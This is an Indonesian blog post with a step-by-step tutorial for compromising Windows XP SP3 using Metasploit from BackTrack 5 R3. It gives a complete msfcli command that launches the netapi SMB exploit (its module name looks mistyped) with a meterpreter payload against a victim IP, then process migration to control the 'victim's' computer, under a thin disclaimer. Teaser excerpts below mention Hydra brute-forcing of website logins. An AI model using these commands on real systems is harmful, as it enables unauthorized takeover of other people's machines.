Skip to main content

Exploit Windows XP with Exploit Netapi

hello!!!


sekarang saya mau kasih tutorial bagaimana untuk Exploit Windows XP SP3 dengan Backtrack 5 R3. untuk melakukan exploit, kita akan menggunakan tools penetration testing yang sudah terinstall default di Backtrack 5 R3 yaitu Metasploit Framework(MSF). dalam kerjanya MSF menggunakan module exploit yang sudah tersimpan dalam toolsnya. MSF mempunyai module Exploit yang sangat banyak, dalam kali saya akan menggunakan salah satu modulenya yaitu "windows/smb/ms09_067_netapi" yang sudah terkenal.  :a

tanpa banyak kata lagi. langsung saja ke langkah-langkahnya. :

1. buka terminal.
2. ketik msfcli windows/smb/ms09_067_netapi RHOST=192.168.88.93 PAYLOAD=windows/meterpreter/bind_tcp E
( saya asumsikan Kalian sudah mengetahui IP VIctim nya)
3. tunggu beberapa detik, jika berhasil akan muncul "meterpreter>".
(syarat untuk exploit berhasil adalah firewall dalam victim harus terbuka/nonaktif).
4. setelah masuk meterpreter. kalian terserah mau ngapain. karna komputer korban sudah kalian kendalikan. ^..^
5. untuk lebih leluasa kalian harus mendapatkan user privelage target. dengan cara "migrate" kedalam salah satu process yang ada.
6. caranya ketik "ps".
7. ketik "migrate 644 " angka 644 bisa anda ganti dengan angka yang terdapat pada PID salah satu processnya.
dalam tutorial ini saya sengaja tidak memberikan shortcut karna saya sudah menyiapakan video untuk pembelajaran anda dibawah ini :


Video Tutorial Exploit Netapi

sekian tutorial saya. apabila ada yang tidak jelas bisa kalian tanyakan lewat kolom komentar.

DB : TUTORIAL INI DIPERUNTUKAN HANYA UNTUK PENGETAHUAN SEMATA. SEGALA TINDAKAN DARI USER YANG MENGGUNAKAN TUTORIAL INI. TIDAK DALAM TANGGUNG JAWAB PENULIS(SAYA).

semoga bermanfaat dan sampai jumpa....  :b   :c :d :f :g
:h :i

Popular posts from this blog

OpenVPN Alternatif Solusi Menanggulangi Blokir dari KOMINFO

Sejak akhir juli 2022 kemaren indonesia di gegerkan dengan tindakan kominfo atas diblokirnya banyak platform digital karna tidak mendaftar PSE, terutama paypal dan plaform game (steam, epic game dll). keputusan ini semakin membuat netizen geram dikarenakan platform judi online malah disetujui untuk beroperasi karna sudah daftar PSE. Jujur menurut saya memang keputusan ini sejak awal saya dengar sudah mengada-ada karna sangat aneh memblokir semua platform digital yang jumlahnya tidak terhitung banyaknya dan hanya membolehkan akses platform yang sudah mendaftar yang jumlahnya hanya ratusan.  saya sebagai developer juga merasa aneh banget ini kebijakan apalagi platform development juga banyak yang di blacklist oleh kominfo seperti, github, gitlab, bitbucket, even website CDN pun di blacklist. astaga wkwkwk. anyway terlepas dari kebijakan konyol ini, saya mau berbagi tips cara agar tetep bisa mengakses semua platform tersebut tanpa ada halangan, yaitu dengan menggunakan VPN. banyak ban...

Membuat Game Sederhana Dengan JavaScript

Assalamualaikum Wr Wb Javascript adalah Bahasa pemrograman yang di pakai di web, javascript kebanyakan di gunakan untuk kebutuhan membuat animasi, tapi tidak semata-mata javascript hanya bisa di pakai untuk membuat animasi, untuk kebutuhan operasi web pun sering di gunakan. Javascript bersifat Client Side, maksudnya adalah javascript berjalan di PC pengguna atau pengakses web, dan scriptnya pun bisa di lihat oleh user, berbeda dengan PHP yang scriptnya tidak bisa di lihat oleh user. Selain di buat animasi, Javascript juga bisa di pakai untuk membuat aplikasi web, salah satunya adalah GAME, pada kesempatan kali ini saya akan memberikan tutorial bagaimana membuat GAME sederhana dengan Javascript, memanfaatkan event-event dalam javascript. berikut screenshoot dari game sederhana : Alur Game : 1. Klik button Start. 2. gambar monster akan bergerak cepat. 3. klik sebanyak mungkin gambar monsternya. 4. Apabila skor lebih dari 20, maka anda akan menang. untuk s...

Tutorial Hydra Part II ( Bruteforce Login Website )

Relate Search : Hydra, Cracking, Hacking, Bypass, Facebook, Twitter, Login, Website, Security, Terminal. Bruteforce Login Website adalah suatu teknik dimana kita akan melakukan penetrasi dengan cara masuk ke dalam suatu website yang memiliki proteksi login, dengan cara ilegal yaitu melakukan penebakan user dan password secara masal. teknik bruteforce tidak hanya bisa di gunakan di website, tapi juga bisa di lakukan di lingkungan lain seperti login apps, login windows, login email dll. pada tutorial kali ini saya akan melanjutkan sesi dari tutorial hydra. dan sekarang sudah mencapai part II, dengan judul " bruteforcing login website" , pada tutorial hydra part I saya menggunakan mode GUI untuk melakukan cracking, tapi untuk sekarang saya akan menggunakan versi Consolenya. teknik ini memanfaatkan Bug method GET yang di miliki website, pada praktiknya nanti saya akan menggunakan website yang saya buat sendiri, jadi dan menggunakan localhost sebagai servernya. tu...